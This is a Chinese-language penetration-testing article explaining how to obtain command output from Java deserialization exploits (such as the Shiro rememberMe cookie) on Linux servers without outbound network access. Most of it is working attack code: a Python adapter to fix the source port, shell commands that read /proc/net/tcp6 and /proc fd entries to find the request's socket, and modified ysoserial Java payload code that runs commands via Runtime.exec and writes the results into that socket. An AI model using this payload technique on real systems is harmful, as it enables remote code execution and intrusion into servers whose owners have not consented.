linux下java反序列化通杀回显方法的低配版实现
字数 925 2025-08-22 12:23:36
Linux下Java反序列化通杀回显方法的低配版实现
技术背景
Java反序列化漏洞(如Shiro反序列化)在实际渗透测试中非常实用,主要因为:
- payload原生加密(无特征)
- 危害大(属于Java反序列化漏洞)
- 项目中较常见
但存在两个主要痛点:
- 可用的gadget链
- 带内回显问题(不出网时的回显)
技术原理
核心思路
通过Java反序列化执行代码获取本次HTTP请求使用的socket文件描述符,然后直接在该文件描述符中写入回显内容。
关键技术点
-
socket文件描述符与inode关系:
- Linux系统中每个socket都有一个唯一的inode号
- inode号出现在
/proc/net/tcp文件中 - 每个inode对应一条TCP连接信息,其中包含远程连接的IP和端口
-
实现流程:
- 通过指定客户端请求的源端口号
- 在
/proc/net/tcp中匹配该端口获取inode - 通过inode在
/proc/[pid]/fd目录下找到对应的文件描述符 - 使用Java代码打开该文件描述符并写入回显内容
详细实现
1. 指定请求源端口
使用Python的requests库自定义源端口:
class SourcePortAdapter(HTTPAdapter):
"""Transport adapter that allows us to set the source port"""
def __init__(self, port, *args, **kwargs):
self._source_port = port
super(SourcePortAdapter, self).__init__(*args, **kwargs)
def init_poolmanager(self, connections, maxsize, block=False):
self.poolmanager = PoolManager(
num_pools=connections, maxsize=maxsize,
block=block, source_address=('', self._source_port))
# 使用示例
s = requests.Session()
s.mount(target, SourcePortAdapter(randNum))
resp = s.get(target, cookies={'rememberMe': base64_ciphertext.decode()}, timeout=5, headers=headers, verify=False)
2. 获取socket文件描述符
使用Linux命令组合获取文件描述符:
a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`;
b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;
echo -n $b
3. Java代码实现
假设使用TemplatesImpl作为gadget末端,修改ysoserial中的命令执行部分:
// 获取文件描述符
String[] cmd = { "/bin/sh", "-c", "a=`cat /proc/$PPID/net/tcp6|awk '{if($10>0)print}'|grep -i %s|awk '{print $10}'`;b=`ls -l /proc/$PPID/fd|grep $a|awk '{print $9}'`;echo -n $b"};
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
java.io.BufferedReader br = new java.io.BufferedReader(isr);
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = br.readLine()) != null){
stringBuilder.append(line);
}
int num = Integer.valueOf(stringBuilder.toString()).intValue();
// 执行命令并获取结果
cmd = new String[]{"/bin/sh","-c","ifconfig"};
in = Runtime.getRuntime().exec(cmd).getInputStream();
isr = new java.io.InputStreamReader(in);
br = new java.io.BufferedReader(isr);
stringBuilder = new StringBuilder();
while ((line = br.readLine()) != null){
stringBuilder.append(line);
}
String ret = stringBuilder.toString();
// 写入文件描述符
java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(num)}));
os.write(ret.getBytes());
os.close();
技术限制
-
必须控制请求源端口:
- 无法在BurpSuite中使用(代理端口不可控)
- 如果目标在反向代理后,源端口不可预测
-
连接会立即断开:
- 回显后服务端会直接断开连接
- HTTP响应包不会返回,导致requests库报错
改进方向
-
高级版实现思路:
- 通过JVM堆内存直接获取socket对象
- 不需要依赖客户端源端口作为过滤条件
-
可能的实现方式:
- 利用JVM内部机制获取当前请求的socket对象
- 使用更底层的方法访问网络连接
总结
这种低配版实现虽然有一定限制,但为Java反序列化回显问题提供了一个可行的解决方案。在实际内网环境中,当目标不出网时,这种方法可以作为应急方案使用。对于更通用的解决方案,需要深入研究JVM内部机制和Linux网络栈实现。